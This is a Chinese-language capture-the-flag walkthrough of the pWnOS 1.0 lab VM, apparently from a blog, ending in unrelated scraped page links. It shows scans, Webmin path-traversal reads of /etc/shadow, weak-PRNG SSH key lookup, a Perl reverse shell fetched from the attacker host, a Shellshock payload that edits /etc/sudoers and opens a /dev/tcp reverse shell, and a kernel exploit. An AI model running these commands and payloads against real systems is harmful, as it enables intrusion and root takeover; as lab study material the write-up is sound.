pWnOS 1.0

信息收集

nmap -sT --min-rate 10000 192.168.182.0/24
nmap -sT --min-rate 10000 -p- 192.168.182.129
nmap -sT -sC -sV -O -p22,80,139,445,10000 192.168.182.129

Starting Nmap 7.94 ( https://nmap.org ) at 2023-11-05 20:03 CST
Nmap scan report for 192.168.182.129 (192.168.182.129)
Host is up (0.00048s latency).

PORT      STATE SERVICE     VERSION
22/tcp    open  ssh         OpenSSH 4.6p1 Debian 5build1 (protocol 2.0)
| ssh-hostkey: 
|   1024 e4:46:40:bf:e6:29:ac:c6:00:e2:b2:a3:e1:50:90:3c (DSA)
|_  2048 10:cc:35:45:8e:f2:7a:a1:cc:db:a0:e8:bf:c7:73:3d (RSA)
80/tcp    open  http        Apache httpd 2.2.4 ((Ubuntu) PHP/5.2.3-1ubuntu6)
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: Apache/2.2.4 (Ubuntu) PHP/5.2.3-1ubuntu6
139/tcp   open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: MSHOME)
445/tcp   open              Samba smbd 3.0.26a (workgroup: MSHOME)
10000/tcp open  http        MiniServ 0.01 (Webmin httpd)
|_http-title: Site doesn't have a title (text/html; Charset=iso-8859-1).
MAC Address: 00:0C:29:5E:18:C9 (VMware)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 2.6.X
OS CPE: cpe:/o:linux:linux_kernel:2.6.22
OS details: Linux 2.6.22 (embedded, ARM), Linux 2.6.22 - 2.6.23
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:
|_nbstat: NetBIOS name: UBUNTUVM, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
| smb-security-mode: 
|   account_used: <blank>
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
| smb-os-discovery: 
|   OS: Unix (Samba 3.0.26a)
|   Computer name: ubuntuvm
|   NetBIOS computer name: 
|   Domain name: nsdlab
|   FQDN: ubuntuvm.NSDLAB
|_  System time: 2023-11-04T10:27:14-05:00
|_smb2-time: Protocol negotiation failed (SMB2)
|_clock-skew: mean: -18h06m21s, deviation: 3h32m07s, median: -20h36m21s

漏洞脚本探测

nmap -sT --script=vuln -p22,80,139,445,10000 192.168.182.129

Host is up (0.00048s latency).

PORT STATE SERVICE

22/tcp open ssh

80/tcp open http

|_http-csrf: Couldn't find any CSRF vulnerabilities.

|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.

|_http-vuln-cve2017-1001000: ERROR: Script execution failed (use -d to debug)

|_http-dombased-xss: Couldn't find any DOM based XSS.

|_http-trace: TRACE is enabled

| http-slowloris-check:

| VULNERABLE:

| Slowloris DOS attack

| State: LIKELY VULNERABLE

| IDs: CVE:CVE-2007-6750

| Slowloris tries to keep many connections to the target web server open and hold

| them open as long as possible. It accomplishes this by opening connections to

| the target web server and sending a partial request. By doing so, it starves

| the http server's resources causing Denial Of Service.

|

| Disclosure date: 2009-09-17

| References:

| CVE -CVE-2007-6750

|_ http://ha.ckers.org/slowloris/

| http-enum:

| /icons/: Potentially interesting directory w/ listing on 'apache/2.2.4 (ubuntu) php/5.2.3-1ubuntu6'

| /index/: Potentially interesting folder

|_ /php/: Potentially interesting directory w/ listing on 'apache/2.2.4 (ubuntu) php/5.2.3-1ubuntu6'

139/tcp open netbios-ssn

445/tcp open microsoft-ds

10000/tcp open snet-sensor-mgmt

| http-vuln-cve2006-3392:

| VULNERABLE:

| Webmin File Disclosure

| State: VULNERABLE (Exploitable)

| IDs: CVE:CVE-2006-3392

| Webmin before 1.290 and Usermin before 1.220 calls the simplify_path function before decoding HTML.

| This allows arbitrary files to be read, without requiring authentication, using "..%01" sequences

| to bypass the removal of "../" directory traversal sequences.

|

| Disclosure date: 2006-06-29

| References:

| http://www.rapid7.com/db/modules/auxiliary/admin/webmin/file_disclosure

| Webmin < 1.290 / Usermin < 1.220 - Arbitrary File Disclosure - Multiple remote Exploit

|_ CVE -CVE-2006-3392

MAC Address: 00:0C:29:5E:18:C9 (VMware)

Host script results:

|_smb-vuln-ms10-054: false

|_smb-vuln-regsvc-dos: ERROR: Script execution failed (use -d to debug)

|_smb-vuln-ms10-061: false

经过上面初步的漏洞探测,发现80端口泄露时间?给出了一个cve编号,同时10000端口上同样也是爆出来了文件泄露的漏洞!(webmin 文件泄露!)

渗透测试-1

80

首次访问界面:

"这是一个帮助页面,如果你想要帮助,那么就点击下面的next按钮!"

"这是一个官方的帮助页面,如果你太傻了,输入你的信息得到一些小的提示"

此时页面上的url出现了变化,看到这种变化,两个方法,首先就是看看是否存在sql注入;其次就是判断是否存在任意文件读取漏洞!

测试SQL注入

没有sql注入漏洞~

测试任意文件读取漏洞

好像也没有文件读取!但是在上一个页面上发现了任意文件读取的漏洞:

尝试读取/etc/shadow文件:

没有权限读取~

最终在80端口上,成功读取到了/etc/passwd文件,发现里面存在四个用户:

vmware
obama
osama
yomama

如果有密码的话,就可以尝试ssh登陆了。但是没权限了读不到这个文件

10000

10000端口上部署了webmin,在前面的信息收集过程中,发现webmin 可能存在文件泄露!

利用searchsploit搜索webmin的漏洞:

searchsploit webmin

确实搜索到了,存在文件泄露的脚本,随便利用一个即可,虽然存在两个脚本,只是利用的语言不同而已!

将利用的脚本下载下来:

searchsploit webmin -m 2017.pl

查看脚本的利用

perl 2017.pl 192.168.182.129 10000 /etc/passwd 0

尝试读取/etc/shadow文件!

perl 2017.pl 192.168.182.129 10000 /etc/shadow 0

成功读取到了文件的内容,能读到这个内容说明当前的权限是非常大的!尝试将下面的四个用户的hash存储下来进行破解!

john hash --wordlist=/usr/share/wordlist/rockyou.txt

同样在线md5解密也能得到结果!

拿到了账号和密码,可以尝试进行ssh登陆了!

渗透测试-2

还有一种拿到初始权限的方法!

前面我们知道了webmin存在任意文件读取的漏洞,那么我们可以读取很多的敏感文件,具体读什么文件呢?这里参考:GitHub - carlospolop/Auto_Wordlists

这个是大牛整理出来的很多字典,比如说Linux文件包含经常读取的文件:

看了红队笔记的视频,学到了很多又,之后需要培养ssh相关漏洞的理念,既然现在存在文件读取的漏洞,那么一旦上面的用户设置了免密登录,那么我们就可以使用私钥来登录ssh!(这里刚好存在的漏洞覆盖openssl的版本,有的时候不一定是成功的!)

尝试读取每个用户下面的公钥!(一般公钥的文件位于:/home/username/.ssh/authorized_keys)

现在尝试利用webmin的任意文件读取的漏洞来读取用户下面的公钥文件(当然这个文件不一定是存在的,因为他们不一定设置了免密登录,只能去试一下,读到了那就可以进一步去利用!)

perl 2017.pl 192.168.182.129 10000 /home/vmware/.ssh/authorized_keys 0

成功拿到了公钥!现在进行下一步,就是找到他的私钥,公钥是在服务器上的,而私钥才是用来连接到服务器的!这里涉及到prng(pseudo random number generate)伪随机数生成器!

说白了就是利用公钥来找到他的私钥:

searchsploit prng

下载5622.txt文件,查看一下帮助:

首先便是下载"字典"(里面就是存在大量的公钥和私钥的文件对,然后思路就是根据公钥找到对应的私钥):

解压之后得到:rsa文件夹

grep -lr 'AAAAB3NzaC1yc2EAAAABIwAAAQEAzASM/LKs+FLB7zfm'  #从公钥里面截取一部分进行搜索即可!

这里就找到了公钥文件,那么对应的前面的名字其实就是私钥文件了!复制出来:

cp d8629ce6dc8f2492e1454c13f46adb26-4566 ../../ 

然后尝试ssh进行登录:

ssh vmware@192.168.182.129 -i d8629ce6dc8f2492e1454c13f46adb26-4566

依然还是找我们要密码,开启debug模式:后面加上参数-vv即可:

指定参数:
ssh vmware@192.168.182.129 -i d8629ce6dc8f2492e1454c13f46adb26-4566 -oHostKeyAlgorithms=ssh-rsa,ssh-dss -oPubkeyAcceptedKeyTypes=ssh-rsa,ssh-dss

直接拿到初始的bash shell!

SSH登录拿初始bash shell

ssh vmware@192.168.182.129

指定host key type!

ssh -oHostKeyAlgorithms=ssh-rsa,ssh-dss vmware@192.168.182.129

之后便来到了提权的阶段!

提权 1

查看内核版本信息:

uname -a 

这个版本是可能存在内核漏洞的!

sudo -l		##查看当前用户的权限

当前用户vmware无法执行sudo!

查看是否存在定时任务
cat /etc/crontab

也没有可以利用的定时任务!

看到这里,其实应该能想到的,之前我们利用webmin任意文件读取的时候,读到了/etc/shadow文件,这个文件能读取到的话,证明我们的权限是比较大的!那么我们能不能起一个反弹shell的命令。通过2017这个利用脚本来触发?

kali中自带了很多的反弹shell的脚本!

cp /usr/share/webshells/perl/perl-reverse-shell.pl shell.cgi

修改反弹shell的地址和端口号:

开启php服务:供靶机下载下来

wget http://192.168.182.130:8080/shell.cgi

之后我们尝试利用之前的webmin漏洞脚本进行触发,本地监听1234端口!

nc -lvvnp 1234

perl 2017.pl 192.168.182.129 10000 /home/vmware/shell.cgi 0

(为什么要改成后缀为cgi?Perl CGI编程是一种在web服务器上运行的脚本编程技术,他于虚web服务器执行perl脚本,动态生成HTML页面和web应用程序!)我们是利用perl 执行脚本2017.pl然后触发服务器上的cgi文件!

最终成功的拿到了root权限!

提权 2

利用shellshock漏洞进行提权,shellshock漏洞是一个影响Bash解释器的漏洞,可以通过恶意构造的环境变量来执行任意代码。Bash解释器在解释环境变量的时候,不仅仅简单的替换变量的值,他还会对变量的内容进行解释。包括其中可能存在的特殊字符和命令。

影响范围:bash 1.14 - 4.3

() { :; };	#表示空函数

判断是否存在shellshock漏洞:

bash -version		#首先查看bash的版本信息 是否在shellshock的漏洞影响范围之内
env='(){ :; }; echo ;' echo 'shellshock exist!'

存在shellshock漏洞!

我们接下来的思路是写一个cgi文件,通过perl进行触发,而文件中的内容就是开启一个bash!

#!/bin/bash

之后通过perl去触发他,通过-A 参数 指定User-agent(执行CGI时会调用Bash将Referer、UserAgent、header、host等作为环境变量进行处理。)

-A后面接上 反弹shell的命令,-A '(){ :; }; ehco ' /bin/bash -c '/bin/bash -i >& /dev/tcp/192.168.182.130/8888 0>&1'

由于我们想要执行我们的参数(加上请求头),所以2017.pl脚本不合适我们来执行(如果单纯为了触发代码执行,可以通过2017来执行),可以看一下漏洞脚本的原理:

虽然不懂perl语言,但是大体上的代码能看懂:其实就是执行了:

http://192.168.182.129:10000/unauthenticated/../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../etc/passwd

尝试利用这个payload来读取一下看看:

那么我们最终想要执行的就是:

curl 'http://192.168.182.129:10000/unauthenticated/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/home/vmware/shel1.cgi' -A '() { :; }; /bin/echo "vmware ALL=(ALL)NOPASSWD:ALL" >> /etc/sudoers'

给shel1.cgi执行权限!

报错了,但是不影响,这里我们接下来回到我们拿下的vmware的shell中!利用sudo -l查看当前用户的权限,是否被修改了!

既然现在都是两个ALL了,那么我们直接sudo再起一个bash即可!

sudo /bin/bash

提权 3

因为最前面提到了内核的版本!比较老:

内核版本是2.6.22 后面的14-sever是分发包的版本。

因此我们可以看一下是否存在这个版本的提权漏洞:

searchsploit 2.6.2    #这里是不建议写的太详细  也不建议写的太宽松的

先试试第二个把: 下载下来之后,起php服务:

searchsploit -m 5092.c
php -S 0:80

执行

相关推荐
As977_7 分钟前
前端学习Day12 CSS盒子的定位(相对定位篇“附练习”)
前端·css·学习
ajsbxi10 分钟前
苍穹外卖学习记录
java·笔记·后端·学习·nginx·spring·servlet
Rattenking11 分钟前
React 源码学习01 ---- React.Children.map 的实现与应用
javascript·学习·react.js
dsywws33 分钟前
Linux学习笔记之时间日期和查找和解压缩指令
linux·笔记·学习
道法自然040234 分钟前
Ethernet 系列(8)-- 基础学习::ARP
网络·学习·智能路由器
爱吃生蚝的于勒40 分钟前
深入学习指针(5)!!!!!!!!!!!!!!!
c语言·开发语言·数据结构·学习·计算机网络·算法
cuisidong19972 小时前
5G学习笔记三之物理层、数据链路层、RRC层协议
笔记·学习·5g
南宫理的日知录2 小时前
99、Python并发编程:多线程的问题、临界资源以及同步机制
开发语言·python·学习·编程学习
jjyangyou2 小时前
物联网核心安全系列——物联网安全需求
物联网·算法·安全·嵌入式·产品经理·硬件·产品设计
AltmanChan3 小时前
大语言模型安全威胁
人工智能·安全·语言模型